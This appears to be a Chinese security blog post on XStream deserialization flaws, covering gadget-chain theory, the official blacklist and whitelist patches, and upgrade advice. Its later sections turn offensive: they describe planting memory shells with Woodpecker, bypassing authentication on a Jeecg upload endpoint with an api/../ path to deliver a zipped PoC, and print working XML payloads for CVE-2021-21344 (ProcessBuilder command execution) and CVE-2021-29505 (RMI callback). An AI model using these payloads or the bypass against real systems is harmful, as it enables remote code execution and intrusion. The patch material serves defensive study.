一场XStream的偶遇

admin 2024年9月28日13:33:30评论15 views字数 8419阅读28分3秒阅读模式
0x-1开幕暴击

    本文为xstream&java新手的总结文章,有不足和错误之处请大师父们及时指正,谢谢!

    放个总目录方便大家知道写的什么:

一场XStream的偶遇

0x00了解Xstream

这玩意跟fastjson的用法类似。不过一个是处理xml格式的,另一个是json的。

不过我上面这个说法也不准确。毕竟官方说了

Due to XStream's flexible architecture, handling of JSON mappings is as easy as handling of XML documents. All you have to do is to initialize XStream object with an appropriate driver and you are ready to serialize your objects to (and from) JSON.

简单来说就是他也能适配json。

所以xstream是用于将java对象序列化为XML或者将XML反序列化为java对象,是一个转换器。

一场XStream的偶遇
0.1序列化

 使用toXML进行反序列化:

            一场XStream的偶遇

一场XStream的偶遇
0.2反序列化

使用fromxml反序列化:

一场XStream的偶遇

0x01历史漏洞

Xstream是我见过最有意思的。他所有的漏洞,他的官网都给出了利用的poc:

例如CVE-2021-39149:

一场XStream的偶遇

具体可以看这个:https://x-stream.github.io/security.html

查看相关poc可以得知:

CVE-2021-39154 需要JNDI

CVE-2021-39153 可以使用TemplatesImpl加载字节码(JDK版本限制在8到14且要求同时安装了JavaFX

CVE-2021-39152 SSRF

此处省略。。。。多个CVE

全部看下来就会发现这个好poc

0x02好用的POC

CVE-2021-39149 不受jdk版本限制,只要xstream低于1.4.17就被影响,另外还使用TemplatesImpl加载字节码(这样打内存马啥的都很方便)(注意官方给的poc有坑,下文会讲)一场XStream的偶遇

0x03漏洞原理

写这一章前,think一下。漏洞原理需要学习到什么程度?

拿poc去debug调用链?还是知道xstream漏洞怎么挖?

我个人觉得学习漏洞的原理有几个好处:

1.在工具利用不了的时候能自己改poc

2.能够举一反三其他反序列化漏洞

3.深刻理解Xstream反序列化漏洞,怎么防御这个漏洞,补丁怎么修复的,漏洞的真实成因?

抱着这三个好处继续学习。

我觉得官方的漏洞成因写的很好了。英语太菜直接上中文:一场XStream的偶遇

简单来说就是fromxml这个函数把xml转化为java对象时没有限制,因而配合上java的反射等机制,就能直接RCE.

一场XStream的偶遇
3.1没啥意思的POC-Debug

debug代码。看到的就是xml的解析过程,怎么反序列化成java对象的。

太长了。跟半天到了dynamic-proxy解析:

一场XStream的偶遇

一场XStream的偶遇
3.2偷看大佬文章

没意思转头看大佬文章(https://www.cnblogs.com/nice0e3/p/15046895.html#eventhandler%E7%B1%BB

文章里面说Xstream分为:

AbstractDriver:负责流解析器(支持xml和Json)和编写器的创建。MarshallingStrategy 就是管序列化和反序列化的借口。Mapper: 映射器。XML的elementName通过mapper获取对应类、成员、属性的class对象。ConvertLookup 提供转化器功能。

文中提到了XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器。

再来看poc,上面提到的转化器可以将xml里面的dynamic-proxy标签内容转换成动态代理类对象。

然后就会调用interface标签的接口类方法,并且通过动态代理机制访问下一个handler标签指定的类方法也就是

下面的CompositeInvocationHandlerImpl:

             一场XStream的偶遇

还是不懂利用poc怎么构造的。

接下来看这个:

https://www.lightless.me/archives/java-unserialization-jdk7u21.html

从这篇文章了解到:

Java 中的动态代理十分灵活,只需要为一组接口指定好 InvocationHandler 对象,那么调用接口方法的时候,将会被转派到 handler 对象的 invoke 方法,在这个方法中可以通过反射执行原方法,也可以做一些其他的操作。

里面还提到LinkedHashSet 被反序列的时候,会调用其父类 HashSet 的 readObject 方法。

所以把LinkedHashSet 放到外围是为了实现最后的readObject。

然后总结一下jdk7u21这条链子就是如下:

             一场XStream的偶遇

对比xstream(CVE-2021-39149)的链子:一场XStream的偶遇

所以其实这些poc都是大佬对链子的一个xml描述。最后xml的poc怎么来的看一下这个吧(太长了):

https://xz.aliyun.com/t/10360#toc-2

一场XStream的偶遇
3.3补丁学习

有点hp。把代码也给我翻译了:

             一场XStream的偶遇

挑一个低版本的建议(注释学习法):

xstream.registerConverter(new Converter() {                //针对转化器Convert进行过滤                public boolean canConvert(Class type) {                    return type != null                    //可以看到常用的代码执行类都被ban调用了。例如java.lang.ProcessBuilder                    && (type == java.beans.EventHandler.class || type == java.lang.ProcessBuilder.class || type == java.lang.Void.class || void.class                        || type.getName().equals("javax.imageio.ImageIO$ContainsFilter") || type.getName().equals("sun.awt.datatransfer.DataTransferer$IndexOrderComparator")             || type.getName().equals("com.sun.corba.se.impl.activation.ServerTableEntry") || type.getName().equals("com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator")                        //下面这几行ban掉了一些常用的恶意类:ClassLoader、各种反射reflect、jndi                        || type.getName().matches("javafx\.collections\.ObservableList\$.*") ||             type.getName().matches(".*\$ServiceNameIterator")  || type.getName().matches(".*\$GetterSetterReflection")             || type.getName().matches(".*\$LazyIterator") || type.getName().matches(".*\$ProxyLazyValue") || type.getName().matches(".*\.bcel\..*\.util\.ClassLoader")             || type.getName().matches(".*\.ws\.client\.sei\..*") || type.getName().matches("com\.sun\.jndi\..*Enumerat(?:ion|or)")                        || type.getName().endsWith(".$URLData") || type.getName().endsWith(".xsltc.trax.TemplatesImpl")                        || type.getName().startsWith("sun.reflect.") || type.getName().startsWith("sun.tracing.") || type.getName().startsWith("com.sun.corba.")                        || java.io.InputStream.class.isAssignableFrom(type) || java.nio.channels.Channel.isAssignableFrom(type)             || javax.activation.DataSource.isAssignableFrom(type) ||javax.sql.rowset.BaseRowSet.isAssignableFrom(type)                        || Proxy.isProxy(type));                }                //匹配到恶意的就不准反序列化也就是unmarshal                public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {                    throw new ConversionException("Unsupported type due to security reasons.");                }                //匹配到恶意的就不准序列化也就是marshal                public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {                    throw new ConversionException("Unsupported type due to security reasons.");                }            }, XStream.PRIORITY_VERY_HIGH);

当然其实一看就知道是黑名单机制,官方最后还是弄出来了白名单。

使用安全框架:

一场XStream的偶遇

白名单的例子:

XStream xstream = new XStream(); // clear out existing permissions and start a whitelist            xstream.addPermission(NoTypePermission.NONE);            // allow some basics            xstream.addPermission(NullPermission.NULL);            xstream.addPermission(PrimitiveTypePermission.PRIMITIVES); xstream.allowTypeHierarchy(Collection.class);            // allow any type from the same package            xstream.allowTypesByWildcard(new String[] {                Blog.class.getPackage().getName()+".*"            });  
一场XStream的偶遇
3.4如何防御

最好的肯定是把xstream升级到没有漏洞的安全版本>1.4.19

不能升级的还是那张图:              一场XStream的偶遇

0x04实战利用
一场XStream的偶遇
4.1触发点

[+] xstream <= 1.4.17能打。 1.4.18后开启白名单的安全框架,不太行了。

如果项目中使用了xstream.fromXMLx0;(可控)那么就可以试试。

例子:一场XStream的偶遇

然后需要看看有没有cc和cb.有的话可以配合ysoserial进行更好的利用。

一场XStream的偶遇
4.2命令执行

xstream使用内存马(Teamlateimpl链子):

https://xz.aliyun.com/t/10360#toc-0

建议使用woodpecker

提供简单的xml检测是否使用Xstream:

一场XStream的偶遇

命令执行(实战中很多都是无回显的。建议写一个可回显的帮助判断,攻防可直接写内存马,大哥们自己改一下byte-array里面的内容即可):

这儿要注意woodpecker的插件用到了ysoserial里面的反序列化链。但实际上从39149的反序列化链来看,不需要其他的组件链路也可反序列化。一场XStream的偶遇

内存马不会?算了woodpecker为你解决一切烦恼(建议回忆飘如雪师傅给我打钱,天天帮你宣传你的工具好用):一场XStream的偶遇

一场XStream的偶遇
4.3手打

什么你说你不想用工具你要手打?

先写个恶意类:

一场XStream的偶遇

转化为base64后的类字节码:

一场XStream的偶遇

yv66vg不就来了:一场XStream的偶遇

什么你拿着官网的yv66vg不知道咋办?(脚本小子工具多)一场XStream的偶遇

一场XStream的偶遇
4.4Jeecg实战

代码分析,看下pom低于利用版本可打:一场XStream的偶遇

全局搜索fromxml:一场XStream的偶遇

进入后发现一个可疑的上传功能:

一场XStream的偶遇

简单读一下,就是这个接口可以上传zip文件,然后会帮我们unzip解压,然后sqlfilename获取的就是解压文件里面的第一个,看上面最后会拼接到fromXML中。

           一场XStream的偶遇

这样看来不是很美好,做个压缩包,里面xml放Xstream的Poc不就成了。

看一下路由:一场XStream的偶遇

看一下参数:一场XStream的偶遇

但是去打站会发现302:

一场XStream的偶遇

看了下网上的文章,有个这个:一场XStream的偶遇

api不鉴权的话如果路由能正常解析../。就可以api/../去绕认证。

ok可以:一场XStream的偶遇

接下来开打:

首先制作一个压缩包,然后压缩如下内容:一场XStream的偶遇

paste压缩包有坑(用mac的就懂了,windows不影响)

响应出现xstream就说明解析了。网上随便找了一个一场XStream的偶遇

ok了:一场XStream的偶遇

0x05复现机器人系列

以下纯纯试Poc系列,不想看可以结束了。

随便挑了几个复现了。

一场XStream的偶遇
5.1 CVE-2021-39149(最好用的)

jdk版本无限制

建议大家用用官方给的poc。头都想给他拧ha来,给报错poc弹不出来计算器。

xml文件中检查一下发现有错误标签如下:一场XStream的偶遇

但是还是弹不出来计算器,查文章:https://xz.aliyun.com/t/10360#toc-3

发现少了一行这个:

加上就可以了:false一场XStream的偶遇

一场XStream的偶遇
5.2 CVE-2021-39144(直接Runtime)

jdk版本无限制

直接java.lang.Runtime:一场XStream的偶遇

一场XStream的偶遇
5.3 CVE-2021-39139

JDK版本要在7u21及以下

混在中间不复现了。

一场XStream的偶遇
5.4 CVE-2021-29505 rmi系列

 开局简易poc

 <sun.rmi.registry.RegistryImpl_Stub serialization="custom">   <java.rmi.server.RemoteObject>     <string>UnicastRef</string>      <string>127.0.0.1</string>      <int>6666</int>      <long>0</long>      <int>0</int>      <long>0</long>      <short>0</short>      <boolean>false</boolean>   </java.rmi.server.RemoteObject> </sun.rmi.registry.RegistryImpl_Stub>             

vulhub复现一场XStream的偶遇

一场XStream的偶遇
5.5 CVE-2020-26217-RCE

影响范围<=1.4.13

复现环境:1.4.9一场XStream的偶遇

一场XStream的偶遇
5.6 CVE-2021-21344

影响版本:<=1.4.15

测试环境:XStream1.4.9 jdk1.8_108

poc

<java.util.PriorityQueue serialization='custom'>    <unserializable-parents/>    <java.util.PriorityQueue>        <default>            <size>2</size>            <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>                <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>                    <packet>                        <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>                            <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>                                <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>                                    <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>                                        <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>                                            <jaxbType>java.lang.ProcessBuilder</jaxbType>                                            <uriProperties/>                                            <attributeProperties/>                                            <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>                                                <getter>                                                    <class>java.lang.ProcessBuilder</class>                                                    <name>start</name>                                                    <parameter-types/>                                                </getter>                                            </inheritedAttWildcard>                                        </bi>                                        <tagName/>                                        <context>                                            <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>                                                <outer-class reference='../..'/>                                            </marshallerPool>                                            <nameList>                                                <nsUriCannotBeDefaulted>                                                    <boolean>true</boolean>                                                </nsUriCannotBeDefaulted>                                                <namespaceURIs>                                                    <string>1</string>                                                </namespaceURIs>                                                <localNames>                                                    <string>UTF-8</string>                                                </localNames>                                            </nameList>                                        </context>                                    </bridge>                                </bridge>                                <jaxbObject class='java.lang.ProcessBuilder'>                                    <command>                                        <string>open</string>                                        <string>/System/Applications/Calculator.app</string>                                    </command>                                </jaxbObject>                            </dataSource>                        </message>                        <satellites/>                        <invocationProperties/>                    </packet>                </indexMap>            </comparator>        </default>        <int>3</int>        <string>javax.xml.ws.binding.attachments.inbound</string>        <string>javax.xml.ws.binding.attachments.inbound</string>    </java.util.PriorityQueue></java.util.PriorityQueue>

calc:             一场XStream的偶遇

一场XStream的偶遇
5.7 CVE-2021-39150(SSRF)

xstream<=1.4.17 jdk8-14

https://x-stream.github.io/CVE-2021-39150.html一场XStream的偶遇

参考文章:

https://www.cnblogs.com/nice0e3/p/15046895.html#0x00-%E5%89%8D%E8%A8%80

https://xz.aliyun.com/t/10360#toc-3

https://xz.aliyun.com/t/10619

https://www.jianshu.com/p/adadff8e3225

END
                                监制:船长、铁子   策划:格纸   文案:Cupid   美工:青柠

原文始发于微信公众号(千寻安服):一场XStream的偶遇

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月28日13:33:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一场XStream的偶遇https://cn-sec.com/archives/1983968.html

发表评论

匿名网友 填写信息